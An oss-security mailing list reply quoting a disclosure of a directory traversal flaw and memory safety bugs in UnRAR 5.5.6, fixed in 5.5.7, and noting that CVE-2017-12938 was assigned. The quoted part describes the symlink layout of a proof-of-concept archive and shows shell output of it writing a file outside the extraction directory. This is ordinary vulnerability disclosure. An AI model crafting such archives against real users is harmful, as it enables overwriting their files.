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Date: Fri, 18 Aug 2017 15:24:50 +0200
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: ***UNCHECKED*** UnRAR: directory traversal +
memory safety bugs
On Tue, Aug 15, 2017 at 12:39:48AM +0200, Jakub Wilk wrote:
> (I'm not sure UnRAR bugs are on-topic here. UnRAR is not free software, even
> though the source is available. But the last time UnRAR was discussed nobody
> objected, so hey, let me try too.)
>
> I found directory traversal and a few memory safety bugs in UnRAR 5.5.6.
> These bugs have been fixed in UnRAR 5.5.7.
>
> The memory safety bugs were found using American Fuzzy Lop.
>
> Here are details of the bugs:
>
> * Directory traversal
>
> The PoC (traversal.rar) contains two symlinks and a regular file:
>
> cur -> .
> cur/par -> ..
> par/moo
>
> This setup defeats UnRAR's directory traversal protections:
>
> $ ls ../moo
> /bin/ls: cannot access '../moo': No such file or directory
>
> $ unrar x traversal.rar
> ...
> Extracting cur OK
> Extracting cur/par OK
> Extracting par/moo OK
> All OK
>
> $ ls ../moo
> ../moo
>
> The code that was used to generate the PoC is available here:
> https://github.com/jwilk/path-traversal-samples
The directory traversal has been assigned CVE-2017-12938.
(My request just yielded this 1 CVE, i replied requesting also for the other issues.)
Ciao, Marcus
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